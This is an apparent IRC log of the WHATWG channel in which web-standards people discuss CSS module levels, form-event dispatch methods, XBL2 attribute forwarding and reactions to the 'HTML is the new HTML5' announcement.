- # [18:02] * Joins: sethladd (~sethladd@nat/google/x-epoejjeziystnghk)
- # [18:02] * Joins: paul_irish (~paul_iris@67.218.109.85)
- # [18:02] * bga_|away is now known as bga_
- # [18:04] * Joins: Geophage (~Geophage@pool-173-77-99-222.nycmny.east.verizon.net)
- # [18:09] * Joins: justn (justin@vm.efnetplo.com)
- # [18:09] * Quits: asmodai (asmodai@dhammapada.xs4all.nl) (Read error: Connection reset by peer)
- # [18:09] * Joins: asmodai (asmodai@dhammapada.xs4all.nl)
- # [18:15] * Quits: pesla (~pesla@188.202.125.121) (Remote host closed the connection)
- # [18:17] * Quits: realityking (~realityki@f049233099.adsl.alicedsl.de) (Quit: realityking)
- # [18:29] * Joins: Lachy (~Lachlan@cm-84.215.59.50.getinternet.no)
- # [18:29] * Quits: charlvn (~charlvn@41.0.48.93) (Ping timeout: 276 seconds)
- # [18:31] <paul_irish> what makes a css module be at Level 3?
- # [18:32] <Hixie> Philip`: zcorpan points out https://github.com/benschwarz/developers.whatwg.org/issues#issue/7 also applies to the spec splitter we use for the main spec
- # [18:32] <TabAtkins> paul_irish: Every module published since 2.1 is at level 3, unless it's an update to one we've already closed on.
- # [18:33] <TabAtkins> Like B&B 4, which is in our version control.
- # [18:33] * Quits: sethladd (~sethladd@nat/google/x-epoejjeziystnghk) (Quit: sethladd)
- # [18:33] <Ms2ger> Go and publish a FPWD
- # [18:33] <paul_irish> if a new spec was started today.. would it start at 4?
- # [18:33] <Ms2ger> No
- # [18:33] <TabAtkins> No.
- # [18:34] <paul_irish> When will that happen?
- # [18:34] <TabAtkins> I have to go look up the email where we decided policy, but if we publish something new now, we don't number it at all.
- # [18:34] <paul_irish> ah. :) ok
- # [18:34] <paul_irish> I'm curious if the "CSS3" exists.
- # [18:34] <paul_irish> I'm curious if "CSS3" exists.
- # [18:35] * Joins: sethladd (~sethladd@nat/google/x-socpusnwqnfjmxsw)
- # [18:35] <TabAtkins> No, "CSS3" is a marketing term.
- # [18:35] <paul_irish> seems like a collection of modules that are at level 3 right now, but.. ..
- # [18:35] <TabAtkins> And has been for longer than "HTML5" has.
- # [18:36] <paul_irish> groovy. thx
- # [18:36] <TabAtkins> CSS still does versioning, but only on the module level. Overall, CSS is unversioned, except insofar as there is 2.1, and everything after it.
- # [18:37] <paul_irish> k
- # [18:37] * Joins: inkbase (~Inkbase@S0106002312f9bea2.vc.shawcable.net)
- # [18:37] * Quits: inkbase (~Inkbase@S0106002312f9bea2.vc.shawcable.net) (Client Quit)
- # [18:38] <SlexAxton> paul_irish: TabAtkins - don't you guys sit next to eachother?
- # [18:38] <annevk> those are levels
- # [18:38] <paul_irish> not when i'm commuting :)
- # [18:38] <annevk> not versions...
- # [18:38] <TabAtkins> SlexAxton: Also, he's further down the floor.
- # [18:38] <SlexAxton> im just joshin' - back to work.
- # [18:38] <TabAtkins> annevk: Sure, whatever.
- # [18:39] * Joins: dave_levin (~dave_levi@nat/google/x-srdbkqmmllfafprb)
- # [18:39] <paul_irish> annevk: is that distinction important?
- # [18:39] <TabAtkins> annevk: Dunno what the disction is, as parts of CSS2.1 are obsoleted by CSS3 modules.
- # [18:39] * Joins: inkbase (~Inkbase@S0106002312f9bea2.vc.shawcable.net)
- # [18:39] <TabAtkins> And the plan is to eventually obsolete the whole thing.
- # [18:39] <TabAtkins> Once someone can be arsed to write Syntax and Box Model.
- # [18:41] * Joins: charlvn (~charlvn@41.0.48.93)
- # [18:42] <Ms2ger> Will probably happen before 2.1 is a rec
- # [18:42] <jgraham> Versions somewhat implies "incompatible". I think the idea with levels is that you can only level-up i.e. get new features that you didn't have before
- # [18:42] <jgraham> Or at least implies "mechanism of marking which version you are using"
- # [18:42] <TabAtkins> I don't know if that's the meaning everyone would draw from the terms, but sure, barring minor inconsistencies, that's true.
- # [18:42] <annevk> the idea is that with levels the difference is only the feature set
- # [18:42] <Ms2ger> CSS needs doctypes
- # [18:42] <annevk> not the functionality of the features
- # [18:43] <annevk> i.e. once #fff is introduced it will mean white from that point on and nothing else
- # [18:43] <annevk> no future level can change that
- # [18:43] <annevk> but it does not matter too much either way
- # [18:43] <TabAtkins> Unless we determine it was a really bad idea and no browser does it.
- # [18:43] <annevk> then it would not end up in a REC anyway
- # [18:44] <annevk> the "process" deals with that already
- # [18:44] <TabAtkins> But yeah, whatever. CSS is level-less, except for the 2.1/everything after distinction. Individual modules are still levelled. Same diff.
- # [18:44] * Joins: Frippe (~Frippe@238.218.216.81.static.hud.siw.siwnet.net)
- # [18:44] * Quits: inkbase (~Inkbase@S0106002312f9bea2.vc.shawcable.net) (Quit: inkbase)
- # [18:45] <paul_irish> ah. i follow. yeah that's a worthwhile distinction
- # [18:47] * Quits: dglazkov (d8ef2d04@gateway/web/freenode/ip.216.239.45.4) (Ping timeout: 265 seconds)
- # [18:53] * Quits: anttio (~anttio@huittinen.of.frantic.com) (Ping timeout: 265 seconds)
- # [18:54] * Joins: erlehmann (~erlehmann@p4FC11E58.dip.t-dialin.net)
- # [18:54] <volkmar_> i was wondering, what are the use cases of dispatchForm[Input|Change]?
- # [18:55] * Joins: midgard (~midgard@p54B8B4DE.dip.t-dialin.net)
- # [18:56] <annevk> there's an example in the spec
- # [18:57] <volkmar_> oh, for change, indeed
- # [18:57] <volkmar_> i've only checked for the other
- # [18:57] * Quits: Duke___ (~duke@189.120.143.244) (Remote host closed the connection)
- # [18:58] <annevk> I am sort of fine with getting rid of them, though reportedly they were not that hard to implement and Hixie thinks they make authoring quite a bit easier
- # [18:58] <annevk> if you do not want to rely on libraries
- # [18:58] <annevk> but maybe that is mostly about formchange and forminput
- # [18:59] <annevk> events
- # [18:59] <volkmar_> annevk: yes, it's not hard to implement dispatchFormInput if you have formInput given that, internally, it will call something like dispatchFormInput
- # [19:00] * Quits: Kaelig (~Kaelig@mal35-2-82-228-177-211.fbx.proxad.net) (Remote host closed the connection)
- # [19:00] <volkmar_> hmm, the example in the spec doesn't convince me it's useful
- # [19:00] <annevk> volkmar_, you could look for a resolved bug in the W3C database
- # [19:00] <annevk> volkmar_, someone asked for removal and Hixie declined
- # [19:01] <annevk> no idea which number and I really have to run
- # [19:01] <volkmar_> annevk: someone ask for removal for forminput and formchange
- # [19:01] <volkmar_> annevk: i will check if that was the case for dispatch*
- # [19:01] <volkmar_> thanks ;)
- # [19:02] <Hixie> mostly the use case for dispatch* is to make it easier to just write the logic once in an event handler and make sure it triggers in all the various cases it could trigger
- # [19:02] <Hixie> but certainly the use cases for dispatch* are less than the use cases for the events themselves
- # [19:06] * Quits: jacobolus (~jacobolus@beaker.cictr.com) (Remote host closed the connection)
- # [19:08] * Quits: paul_irish (~paul_iris@67.218.109.85) (Remote host closed the connection)
- # [19:08] * Quits: david_carlisle (~davidc@62.231.145.254) (Ping timeout: 240 seconds)
- # [19:10] * Quits: workmad3 (~workmad3@cspool123.cs.man.ac.uk) (Remote host closed the connection)
- # [19:10] * bga_ is now known as bga_|away
- # [19:12] <erlehmann> http://qdb.us/305324
- # [19:12] <erlehmann> :D
- # [19:12] * Quits: mhausenblas (~mhausenbl@wg1-nat.fwgal01.deri.ie) (Quit: mhausenblas)
- # [19:13] * Joins: paul_irish (~paul_iris@nat/google/x-cegcedygywezusfq)
- # [19:14] <Hixie> erlehmann: hey if someone can figure out the security model...
- # [19:18] <Philip`> Hixie: Get a browser that lets you hit the space key at the bottom of the page to go to the next :-)
- # [19:18] <Hixie> [24~:-P
- # [19:18] <Hixie> er
- # [19:18] <Hixie> :-P
- # [19:21] * Joins: f1lt3r_bocoup (~f1lt3r@64.119.153.2)
- # [19:26] * Quits: ttepasse (~ttepasse@ip-109-90-161-169.unitymediagroup.de) (Read error: Connection timed out)
- # [19:26] * Joins: inkbase (~Inkbase@nat/ibm/x-bfyomjfmvtwsrsty)
- # [19:30] <karlcow> is it only me?
- # [19:30] <karlcow> http://www.xanthir.com/talks/2011-01-12/slides.html TabAtkins slides do not work with Opera?
- # [19:31] <Ms2ger> Only Chrome
- # [19:31] <nimbupani> :D
- # [19:32] * Joins: chriseppstein (~chris@99-34-231-235.lightspeed.sntcca.sbcglobal.net)
- # [19:36] <karlcow> doh!
- # [19:38] * Joins: foolip_ (~foolip@h182n6-g-hn-a11.ias.bredband.telia.com)
- # [19:39] * Quits: mamund (mamund@frost.nullshells.net) (Ping timeout: 276 seconds)
- # [19:39] * Joins: mamund_ (mamund@frost.nullshells.net)
- # [19:45] * Quits: mamund_ (mamund@frost.nullshells.net) (Ping timeout: 255 seconds)
- # [19:46] * Quits: ben_c (~ben_c@cpc3-brig17-2-0-cust939.3-3.cable.virginmedia.com) (Quit: Leaving.)
- # [19:46] <Hixie> man, a mountain of comments
- # [19:46] * Joins: mamund_ (mamund@frost.nullshells.net)
- # [19:46] * Joins: Duke___ (~duke@189.120.143.244)
- # [19:47] <Hixie> if anyone wants to help out with the faq, what would be really helpful right now would be to go through the recent blog comments and distill the criticisms into comments or questions we can add to http://wiki.whatwg.org/wiki/FAQ#The_WHATWG_Process
- # [19:47] <Hixie> feel free to just add questions there even without answers, we can fill them in later
- # [19:51] * Quits: mamund_ (mamund@frost.nullshells.net) (Ping timeout: 240 seconds)
- # [19:51] * Joins: mpilgrim (~pilgrim@184.255.68.209)
- # [19:52] * Joins: mamund_ (mamund@frost.nullshells.net)
- # [19:54] * Joins: ap (~ap@17.203.15.167)
- # [19:55] * Quits: inkbase (~Inkbase@nat/ibm/x-bfyomjfmvtwsrsty) (Quit: inkbase)
- # [19:55] * Quits: erlehmann (~erlehmann@p4FC11E58.dip.t-dialin.net) (Quit: Die demokratieerhaltende Whistleblower-Organisation Krautchan freut sich immer über Spenden.)
- # [19:57] * Quits: mamund_ (mamund@frost.nullshells.net) (Remote host closed the connection)
- # [20:03] * Joins: mamund_ (mamund@frost.nullshells.net)
- # [20:03] * Joins: danbri (~danbri@ip176-48-210-87.adsl2.static.versatel.nl)
- # [20:04] * Quits: cying_ (~cying@c-24-23-135-168.hsd1.ca.comcast.net) (Quit: cying_)
- # [20:04] * Joins: ben_c (~ben_c@cpc3-brig17-2-0-cust939.3-3.cable.virginmedia.com)
- # [20:06] * Joins: pesla (~pesla@ip51cc03a5.speed.planet.nl)
- # [20:07] * Quits: mpt (~mpt@canonical/mpt) (Ping timeout: 276 seconds)
- # [20:07] * Quits: jamesr_ (~jamesr@173-164-251-190-SFBA.hfc.comcastbusiness.net) (Quit: jamesr_)
- # [20:08] * Quits: mamund_ (mamund@frost.nullshells.net) (Remote host closed the connection)
- # [20:08] * Joins: yoroy (~yoroy@ip46-91-210-87.adsl2.static.versatel.nl)
- # [20:09] * Quits: richardschwerdtf (~RichS@32.97.110.51) (Remote host closed the connection)
- # [20:12] * Parts: yoroy (~yoroy@ip46-91-210-87.adsl2.static.versatel.nl)
- # [20:13] * Joins: mamund_ (mamund@frost.nullshells.net)
- # [20:15] * Joins: bfrohs (~chatzilla@smtp.forewordinternal.com)
- # [20:15] * Joins: dbaron (~dbaron@nat/mozilla/x-gyuynzipylevvusj)
- # [20:15] * Quits: sethladd (~sethladd@nat/google/x-socpusnwqnfjmxsw) (Quit: sethladd)
- # [20:17] <midgard> will there be other shirts in the future? http://html5shirt.com/ because the shirts which are offered are very very ugly :-(
- # [20:18] * Joins: sethladd (~sethladd@nat/google/x-xtlrkoimvumybxsv)
- # [20:19] <Hixie> if anyone wants to represent HTML at XML Prague (in March, I believe), contact Jim Fuller <jim.fuller@xmlprague.cz> and let him know I sent you
- # [20:19] * Joins: exp (~zAyghip8@cpc2-ely02-0-0-cust338.5-1.cable.virginmedia.com)
- # [20:19] * Quits: exp (~zAyghip8@cpc2-ely02-0-0-cust338.5-1.cable.virginmedia.com) (Client Quit)
- # [20:19] <Hixie> prague is a really beautiful city, i'd highly recommend it
- # [20:20] * Quits: bfrohs (~chatzilla@smtp.forewordinternal.com) (Remote host closed the connection)
- # [20:20] * Joins: bfrohs (~chatzilla@smtp.forewordinternal.com)
- # [20:22] * Quits: mamund_ (mamund@frost.nullshells.net) (Ping timeout: 246 seconds)
- # [20:23] * Joins: mamund_ (mamund@frost.nullshells.net)
- # [20:23] * bga_|away is now known as bga_
- # [20:23] * Quits: bfrohs (~chatzilla@smtp.forewordinternal.com) (Client Quit)
- # [20:25] * Joins: ojan (~ojan@nat/google/x-vfyzilxgwdlbvija)
- # [20:27] <mpilgrim> if someone designs a kickass HTML(!5) shirt in the next few weeks, i will wear it during my keynote at WebStock NZ
- # [20:31] <Ms2ger> HTML5 is so last year
- # [20:32] <Ms2ger> Or yesterday, I guess
- # [20:32] * Quits: mamund_ (mamund@frost.nullshells.net) (Ping timeout: 260 seconds)
- # [20:32] <paul_irish> mpilgrim: http://www.flickr.com/photos/8624599@N07/5370519387/in/set-72157625737102465/
- # [20:32] * Joins: bfrohs (~bfrohs@smtp.forewordinternal.com)
- # [20:33] * Joins: mamund_ (mamund@frost.nullshells.net)
- # [20:33] <mpilgrim> not that one
- # [20:34] <paul_irish> skeletons ♥ HTML http://www.flickr.com/photos/8624599@N07/5371130056/in/set-72157625737102465/
- # [20:34] <mpilgrim> I would wear one that said "HTML5 is so last week"
- # [20:35] * Joins: dglazkov (~dglazkov@nat/google/x-pogswcgqbshyijgs)
- # [20:35] <dglazkov> Hixie: what's the use case for XBL2 attribute forwarding?
- # [20:35] <dglazkov> I wanna document
- # [20:37] * Quits: mamund_ (mamund@frost.nullshells.net) (Ping timeout: 240 seconds)
- # [20:39] * Joins: mamund_ (mamund@frost.nullshells.net)
- # [20:40] * Joins: jamesr_ (~jamesr@nat/google/x-lsfeoudbvsiqcaro)
- # [20:41] * Quits: jamesr_ (~jamesr@nat/google/x-lsfeoudbvsiqcaro) (Client Quit)
- # [20:41] <Ms2ger> http://blog.whatwg.org/html-is-the-new-html5#comment-42365
- # [20:43] * Quits: mamund_ (mamund@frost.nullshells.net) (Ping timeout: 240 seconds)
- # [20:44] * Joins: mamund_ (mamund@frost.nullshells.net)
- # [20:45] * Quits: mokush (~quassel@188.24.42.150) (Ping timeout: 276 seconds)
- # [20:46] * Joins: jamesr_ (~jamesr@nat/google/x-dxzumukcwdzanyfx)
- # [20:46] * Joins: mokush (~quassel@188.24.35.226)
- # [20:48] <Hixie> dglazkov: e.g. if you wrap a <select> and want to be able to disable the control, you could forward 'disabled'
- # [20:49] <payman> 8
- # [20:49] * Quits: ap (~ap@17.203.15.167) (Read error: Connection reset by peer)
- # [20:49] * Joins: ap (~ap@17.203.15.167)
- # [20:49] <payman> sorry, wrong window.
- # [20:52] <dglazkov> Hixie: thanks!
- # [20:53] * Quits: mamund_ (mamund@frost.nullshells.net) (Ping timeout: 276 seconds)
- # [20:53] * Joins: mamund_ (mamund@frost.nullshells.net)
- # [20:55] * Joins: jwalden (~waldo@nat/mozilla/x-rnxaoajutcoguaks)
- # [20:56] <dglazkov> Hixie: I wonder if state changes should be handled similarly (activate/focus/select)
- # [20:56] * Quits: jeremyselier (~Jeremy@pro75-4-82-238-200-10.fbx.proxad.net) (Quit: jeremyselier)
- # [20:56] <Hixie> another example would be forwarding a title="" attribute to get a tooltip somewhere, or value="" to get a default value somewhere, or lang="" to make sure the content is correctly labeled, etc
- # [20:57] * Joins: jacobolus (~jacobolus@beaker.cictr.com)
- # [20:57] <Hixie> when doing xbl2 i wanted something that could invoke script to map these attributes intelligently, but couldn't work out a good way to do it
- # [20:57] <Hixie> which is why the spec has the special syntax for various clever things, like how to forward urls
- # [20:58] <dglazkov> bz had given me lots of code to chew on.
- # [21:00] * Joins: workmad3 (~workmad3@cpc3-bagu10-0-0-cust651.1-3.cable.virginmedia.com)
- # [21:00] * matjaspaghetti is now known as matjas
- # [21:00] * Quits: mpilgrim (~pilgrim@184.255.68.209) (Ping timeout: 255 seconds)
- # [21:02] * Quits: workmad3 (~workmad3@cpc3-bagu10-0-0-cust651.1-3.cable.virginmedia.com) (Remote host closed the connection)
- # [21:03] * Quits: mamund_ (mamund@frost.nullshells.net) (Ping timeout: 264 seconds)
- # [21:04] * Quits: nimbupani (~Adium@c-24-22-131-46.hsd1.wa.comcast.net) (Quit: Leaving.)
- # [21:04] * Parts: bfrohs (~bfrohs@smtp.forewordinternal.com)
- # [21:04] * Joins: mamund_ (~mamund@frost.nullshells.net)
- # [21:05] * Joins: workmad3 (~workmad3@cpc3-bagu10-0-0-cust651.1-3.cable.virginmedia.com)
- # [21:08] * Quits: mamund_ (~mamund@frost.nullshells.net) (Ping timeout: 246 seconds)
- # [21:09] * Joins: mamund_ (mamund@frost.nullshells.net)
- # [21:10] <dglazkov> Hixie: we need better syntax
- # [21:11] <dglazkov> attributes="title=title" hurts my eyes
- # [21:11] <dglazkov> oh, it's just attributes="title"
- # [21:11] <dglazkov> but still
- # [21:11] * dglazkov quits whining and gets back to use cases
- # [21:12] * Joins: mpt (~mpt@canonical/mpt)
- # [21:13] * Joins: sicking (~chatzilla@nat/mozilla/x-jyqnpzulybtgnmfi)
- # [21:14] * Joins: bckenny (~bckenny@nat/google/x-esatuwgszzynleve)
- # [21:16] * Quits: mamund_ (mamund@frost.nullshells.net) (Ping timeout: 240 seconds)
- # [21:16] * Quits: workmad3 (~workmad3@cpc3-bagu10-0-0-cust651.1-3.cable.virginmedia.com) (Remote host closed the connection)
- # [21:17] <Hixie> dglazkov: yeah, i dunno what would be better though
- # [21:20] * Quits: smaug____ (~chatzilla@dsl-hkibrasgw4-fe41dc00-67.dhcp.inet.fi) (Ping timeout: 276 seconds)
- # [21:28] * Joins: Maurice (copyman@5ED573FA.cm-7-6b.dynamic.ziggo.nl)
- # [21:28] * Quits: sethladd (~sethladd@nat/google/x-xtlrkoimvumybxsv) (Ping timeout: 240 seconds)
- # [21:28] * Joins: mamund_ (mamund@frost.nullshells.net)
- # [21:29] * Quits: Xano (~bart@524BF837.cm-4-4d.dynamic.ziggo.nl) (Quit: Kthxbye!)
- # [21:32] <Ms2ger> TabAtkins, have you seen http://w3cindia.in/cssdocument.html already? It has something about lists ;)
- # [21:33] * Joins: Bass10 (~Bass10@c-76-113-194-7.hsd1.mn.comcast.net)
- # [21:34] * Quits: Bass10 (~Bass10@c-76-113-194-7.hsd1.mn.comcast.net) (Max SendQ exceeded)
- # [21:35] * Quits: plainhao (~plainhao@208.75.85.237) (Quit: plainhao)
- # [21:36] * Quits: mamund_ (mamund@frost.nullshells.net) (Ping timeout: 246 seconds)
- # [21:36] * Quits: mokush (~quassel@188.24.35.226) (Ping timeout: 240 seconds)
- # [21:37] * Joins: mamund_ (mamund@frost.nullshells.net)
- # [21:39] * Joins: sephr (~Eli@c-98-235-63-240.hsd1.pa.comcast.net)
- # [21:39] * Joins: bfrohs (~bfrohs@smtp.forewordinternal.com)
- # [21:39] * Joins: benschwarz (~ben@59.167.185.148)
- # [21:42] * Quits: midgard (~midgard@p54B8B4DE.dip.t-dialin.net) (Ping timeout: 255 seconds)
- # [21:43] * Quits: mamund_ (mamund@frost.nullshells.net) (Ping timeout: 240 seconds)
- # [21:44] * Joins: mamund_ (mamund@frost.nullshells.net)
- # [21:45] * Joins: sethladd (~sethladd@nat/google/x-xfydpyqhrzcljpgj)
- # [21:52] * Quits: mlpug (~mlpug@a88-115-171-217.elisa-laajakaista.fi) (Remote host closed the connection)
- # [22:01] * Quits: davidb_ (~davidb@66.207.206.180) (Quit: davidb_)
- # [22:10] * Quits: sethladd (~sethladd@nat/google/x-xfydpyqhrzcljpgj) (Quit: sethladd)
- # [22:11] * Quits: Duke___ (~duke@189.120.143.244) (Remote host closed the connection)
- # [22:11] * Joins: ment (thement@ibawizard.net)
- # [22:13] * Joins: sethladd (~sethladd@nat/google/x-krqwstjppbrscqqp)
- # [22:14] * Quits: pesla (~pesla@ip51cc03a5.speed.planet.nl) (Quit: Computer has gone to sleep.)
- # [22:20] * Joins: schalkn (c4d2f88f@gateway/web/freenode/ip.196.210.248.143)
- # [22:21] <schalkn> Hi there everyone
- # [22:21] <schalkn> Have you seen the HTML5 shirts on sale?
- # [22:21] * Quits: Ms2ger (~Ms2ger@91.181.194.130) (Quit: nn)
- # [22:22] <schalkn> Are the funds definitely going to directly to the development of the test suite?
- # [22:29] * Joins: sethladd_ (~sethladd@nat/google/x-qgizotxuqyyxixqi)
- # [22:29] * Quits: sethladd_ (~sethladd@nat/google/x-qgizotxuqyyxixqi) (Remote host closed the connection)
- # [22:30] * Joins: sethladd_ (~sethladd@nat/google/x-owxyhjgfvpcehtff)
- # [22:31] <dglazkov> abarth: yt?
- # [22:31] * Quits: kor (~kor@ip146-53-210-87.adsl2.static.versatel.nl) (Quit: kor)
- # [22:31] <dglazkov> abarth: can you pls expand here: http://wiki.whatwg.org/wiki/Component_Model_Use_Cases#Using_Shadow_DOM_Boundary_for_Isolation?
- # [22:33] <benschwarz> Time to hit the office. Laters
- # [22:33] * Quits: sethladd (~sethladd@nat/google/x-krqwstjppbrscqqp) (Ping timeout: 276 seconds)
- # [22:33] * sethladd_ is now known as sethladd
- # [22:34] * Joins: virtuelv (~virtuelv_@20.74.9.46.customer.cdi.no)
- # [22:35] * Quits: schalkn (c4d2f88f@gateway/web/freenode/ip.196.210.248.143) (Quit: Page closed)
- # [22:38] <abarth> dglazkov: sure
- # [22:40] * Joins: mloki (~mloki__@x1-6-00-10-a7-28-f3-47.k765.webspeed.dk)
- # [22:41] <dglazkov> yay!
- # [22:41] * Joins: Kaelig (~Kaelig@mal35-2-82-228-177-211.fbx.proxad.net)
- # [22:43] * Joins: workmad3 (~workmad3@cpc3-bagu10-0-0-cust651.1-3.cable.virginmedia.com)
- # [22:44] * Joins: nimbupani (~Adium@c-24-22-131-46.hsd1.wa.comcast.net)
- # [22:47] * Quits: ROBOd (~robod@109.96.237.140) (Quit: .)
- # [22:48] * Joins: seventh (seventh@199.48.243.56)
- # [22:53] * Joins: gkelly (~gkelly@gkel.ly)
- # [22:53] * Joins: realityking (~realityki@f049233099.adsl.alicedsl.de)
- # [22:54] * Quits: realityking (~realityki@f049233099.adsl.alicedsl.de) (Read error: Connection reset by peer)
- # [22:54] * Joins: realityking (~realityki@f049233099.adsl.alicedsl.de)
- # [22:56] * Quits: chriseppstein (~chris@99-34-231-235.lightspeed.sntcca.sbcglobal.net) (Read error: Connection reset by peer)
- # [22:56] * Joins: chriseppstein (~chris@99-34-231-235.lightspeed.sntcca.sbcglobal.net)
- # [22:59] * shepazu is now known as fake_paul_irish
- # [22:59] * fake_paul_irish is now known as shepazu
- # [23:04] * Quits: miketaylr (~miketaylr@206.217.92.186) (Quit: Linkinus is updating...)
- # [23:04] * Joins: miketaylr (~miketaylr@206.217.92.186)
- # [23:04] * Quits: miketaylr (~miketaylr@206.217.92.186) (Client Quit)
- # [23:05] <jgraham> hmm, it seems that IETF have a different view of "consensus" than I do
- # [23:05] * Quits: franksalim__ (~frank@99-123-6-19.lightspeed.sntcca.sbcglobal.net) (Read error: Connection reset by peer)
- # [23:06] * Joins: franksalim__ (~frank@108-65-76-174.lightspeed.sntcca.sbcglobal.net)
- # [23:08] * Joins: micheil (~micheil@114.72.199.94)
- # [23:09] * Quits: franksalim__ (~frank@108-65-76-174.lightspeed.sntcca.sbcglobal.net) (Read error: Connection reset by peer)
- # [23:09] * Quits: micheil (~micheil@114.72.199.94) (Client Quit)
- # [23:09] * Joins: franksalim__ (~frank@108-65-76-174.lightspeed.sntcca.sbcglobal.net)
- # [23:10] * Quits: svl (~me@ip565744a7.direct-adsl.nl) (Quit: And back he spurred like a madman, shrieking a curse to the sky.)
- # [23:10] <annevk> there's a lot of comments on this blog post
- # [23:10] <annevk> geez
- # [23:10] <annevk> is anyone going to reply?
- # [23:12] * Joins: _bga (~bga@ppp91-122-51-148.pppoe.avangarddsl.ru)
- # [23:14] * shepazu is now known as html5hepazu
- # [23:14] * html5hepazu is now known as shepazu
- # [23:14] * Quits: bga_ (~bga@ppp91-122-51-148.pppoe.avangarddsl.ru) (Ping timeout: 250 seconds)
- # [23:15] * Quits: Maurice (copyman@5ED573FA.cm-7-6b.dynamic.ziggo.nl)
- # [23:19] <annevk> some people also complained about having to enable JavaScript because of the spam filter...
- # [23:20] * Quits: BlurstOfTimes (~blurstoft@168.203.117.107) (Remote host closed the connection)
- # [23:21] * Joins: franksalim_ (~frank@108-65-76-174.lightspeed.sntcca.sbcglobal.net)
- # [23:23] <jgraham> annevk: I can't imagine any reply would actually be read
- # [23:23] <jgraham> Clearly people are ignoring all the other comments when they post their
- # [23:24] <jgraham> e.g. foolip_'s insightful comment
- # [23:24] * Quits: franksalim__ (~frank@108-65-76-174.lightspeed.sntcca.sbcglobal.net) (Ping timeout: 240 seconds)
- # [23:24] <jgraham> But some of the comments are quite funny
- # [23:24] * Quits: FireFly (~firefly@unaffiliated/firefly) (Quit: swatted to death)
- # [23:24] <annevk> the trend seems to have gone from mostly positive to mostly negative as well
- # [23:25] <jgraham> """LOL this means you will only able to add to a spec, not redefine it. [...] You’ll need to introduce namespaces, versioned tags or revert to a pointer to a fixed specification soon."""
- # [23:25] <annevk> but the negative comments are not really well informed (the positive comments might not be either though)
- # [23:25] <jgraham> I wonder if that guy realises that we have only been able to add to HTML, not redefine it, since 1992
- # [23:25] <annevk> I guess when a post gets sufficiently popular, the feedback you get is "garbage"
- # [23:26] <annevk> yeah indeed, there's a lot of stuff like that
- # [23:26] <annevk> also one guy claiming how HTML is irrelevant and everything is XML and RDF these days
- # [23:26] <annevk> but of course o_O
- # [23:27] <jgraham> Right, as the thread goes on, the cluelessness level is rising sharply
- # [23:27] <annevk> I don't really feel like rejecting any of them though. They're not spam and Mr Last Week might find it useful fodder
- # [23:28] <jgraham> Right. No spam
- # [23:28] <jgraham> At least in the published stuff, I haven't looked at the moderation queue
- # [23:28] <jgraham> I feel sorry for many of these people really
- # [23:29] * Quits: MikeSmith (~MikeSmith@EM114-48-59-11.pool.e-mobile.ne.jp) (Ping timeout: 240 seconds)
- # [23:29] <foolip_> lol, "like comparing a needle to a haystack"
- # [23:29] <jgraham> They seem to have had the idea there would be some glorious future where there would be a precise standard that all browsers would implement in a bug-free way
- # [23:30] <jgraham> And, well, it has never been like that before, so they had nothing to go on
- # [23:30] <jgraham> But they really *believed*
- # [23:30] <Hixie> annevk: if you could collate all the points made and stick them in the faq, i'm happy to answer them
- # [23:30] <Hixie> annevk: i did some last night
- # [23:30] <annevk> that's an interesting idea
- # [23:30] * Quits: charlvn (~charlvn@41.0.48.93) (Quit: Leaving)
- # [23:31] <annevk> with which I mean I won't do it tonight, but maybe tomorrow :)
- # [23:31] <Hixie> :-)
- # [23:31] <foolip_> many commenters seem to concerned with the well-being of us browser implementors. touching, but wrong
- # [23:32] <Hixie> yeah
- # [23:32] <foolip_> "Browser devs will be scrambling to keep up."
- # [23:32] <foolip_> as if we weren't before :)
- # [23:32] <annevk> I love how they are strongly opinionated. I kind of lost that myself
- # [23:32] <jcranmer> it's easier to design APIs than to implement them
- # [23:33] <annevk> things like "Worst. Idea. Ever."
- # [23:33] <jcranmer> reference?
- # [23:34] <jcranmer> I want to... laugh at idiots, but I'm too lazy to figure out the source from scrollback
- # [23:34] <annevk> jcranmer, comments on http://blog.whatwg.org/html-is-the-new-html5
- # [23:34] * Joins: franksalim__ (~frank@99-123-6-19.lightspeed.sntcca.sbcglobal.net)
- # [23:34] <jcranmer> annevk: thanks
- # [23:34] <annevk> up to 78 approved now
- # [23:35] <jgraham> Oh it made slashdot
- # [23:36] <ment> yeah :)
- # [23:36] <jgraham> Maybe that explains the change
- # [23:36] <foolip_> there's bound to be lot's of insight in the slashdot comments :)
- # [23:36] * foolip_ goes to look
- # [23:36] <jcranmer> I'll agree that it might be nice to snapshot
- # [23:36] * Joins: riven` (~riven@53518387.cm-6-2c.dynamic.ziggo.nl)
- # [23:36] <jgraham> Oh and the first comment on /. manages to compare it to Microsoft
- # [23:36] <jcranmer> although I think the CVS or SVN or whatever is public
- # [23:37] <jgraham> But, amazingly, doesn't spell it M$
- # [23:37] <foolip_> let's just call it HTML5792 (SVN revision)
- # [23:37] * Quits: franksalim_ (~frank@108-65-76-174.lightspeed.sntcca.sbcglobal.net) (Ping timeout: 240 seconds)
- # [23:37] <jcranmer> wow, someone who LIKED the logo?
- # [23:37] * Quits: thiessenp (~thiessenp@ip4da8062e.direct-adsl.nl) (Quit: off to do what I do)
- # [23:38] <annevk> oh we are on /.
- # [23:38] <annevk> haha
- # [23:38] <foolip_> too bad the w3c version of the spec will now get better ranking from "html5" searches
- # [23:38] <annevk> that and reddit
- # [23:38] <foolip_> (relative to whatwg that is)
- # [23:38] <annevk> we lost that battle long ago I think
- # [23:39] <annevk> of course amid all the conspiracy theories on Google and the WHATWG nobody mentioned that
- # [23:39] <ment> just for clarification - html 5 is neither 5 nor standard anymore?
- # [23:39] <annevk> HTML is a standard
- # [23:39] <jgraham> Of course the /. article is to some blog
- # [23:39] * Quits: riven (~riven@53518387.cm-6-2c.dynamic.ziggo.nl) (Ping timeout: 240 seconds)
- # [23:40] * Joins: MikeSmith (~MikeSmith@EM114-48-148-8.pool.e-mobile.ne.jp)
- # [23:40] <annevk> HTML5 is the buzzword for "Web Platform"
- # [23:40] <annevk> (basically since the W3C logo announcement, though the W3C HTML WG might still publish drafts called HTML5 I guess)
- # [23:40] <jgraham> Seriosuly, the ratio of knee-jerk to insight in that slashdot thread caused a divide-by-zero error
- # [23:41] <ment> annevk: well i can conform to html 4.01, but not to "html"
- # [23:41] <annevk> ment, why not?
- # [23:42] <annevk> ment, conformance to CSS changes over time, conformance to HTML can too
- # [23:42] <ment> annevk: because i have no idea how to decide whether i'm conforming or not
- # [23:42] <annevk> ment, you use the latest version of the specification
- # [23:43] <annevk> It's funny that CSS pioneered all of this but with HTML it is controversial and stupid
